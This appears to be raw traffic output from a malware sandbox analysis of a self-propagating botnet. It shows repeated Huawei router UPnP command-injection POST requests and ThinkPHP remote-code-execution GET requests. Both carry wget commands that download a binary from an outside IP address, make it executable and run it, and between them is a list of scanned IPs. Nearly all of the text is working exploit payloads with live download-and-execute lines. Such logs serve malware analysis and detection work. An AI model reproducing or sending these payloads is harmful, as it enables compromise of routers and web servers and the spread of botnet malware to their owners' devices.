Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 157.3.21.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.56.118.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.214.55.135
Source: unknown	TCP traffic detected without corresponding DNS query: 182.85.50.153
Source: unknown	TCP traffic detected without corresponding DNS query: 197.92.237.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.200.98.141
Source: unknown	TCP traffic detected without corresponding DNS query: 212.19.225.186
Source: unknown	TCP traffic detected without corresponding DNS query: 194.65.196.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.38.242
Source: unknown	TCP traffic detected without corresponding DNS query: 159.247.186.213
Source: unknown	TCP traffic detected without corresponding DNS query: 109.174.172.219
Source: unknown	TCP traffic detected without corresponding DNS query: 157.154.83.107
Source: unknown	TCP traffic detected without corresponding DNS query: 197.64.178.193
Source: unknown	TCP traffic detected without corresponding DNS query: 104.8.73.49
Source: unknown	TCP traffic detected without corresponding DNS query: 124.38.65.99
Source: unknown	TCP traffic detected without corresponding DNS query: 157.34.28.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.112.126
Source: unknown	TCP traffic detected without corresponding DNS query: 157.62.193.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.34.92.241
Source: unknown	TCP traffic detected without corresponding DNS query: 157.134.72.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.190.85
Source: unknown	TCP traffic detected without corresponding DNS query: 157.178.20.242
Source: unknown	TCP traffic detected without corresponding DNS query: 41.209.60.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.128.69.214
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.247.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.245.35.233
Source: unknown	TCP traffic detected without corresponding DNS query: 41.17.9.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.121.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.88.67
Source: unknown	TCP traffic detected without corresponding DNS query: 157.40.102.40
Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.235.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.76.154
Source: unknown	TCP traffic detected without corresponding DNS query: 157.108.71.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.145.183.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.124.222.24
Source: unknown	TCP traffic detected without corresponding DNS query: 106.174.68.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.172.118
Source: unknown	TCP traffic detected without corresponding DNS query: 157.231.126.250
Source: unknown	TCP traffic detected without corresponding DNS query: 192.48.206.157
Source: unknown	TCP traffic detected without corresponding DNS query: 157.15.177.153
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.124.92
Source: unknown	TCP traffic detected without corresponding DNS query: 114.116.15.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.1.12.172
Source: unknown	TCP traffic detected without corresponding DNS query: 67.164.145.87
Source: unknown	TCP traffic detected without corresponding DNS query: 157.220.78.185
Source: unknown	TCP traffic detected without corresponding DNS query: 41.152.229.173
Source: unknown	TCP traffic detected without corresponding DNS query: 65.79.209.34
Source: unknown	TCP traffic detected without corresponding DNS query: 157.207.241.220
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.219.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.52.237

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
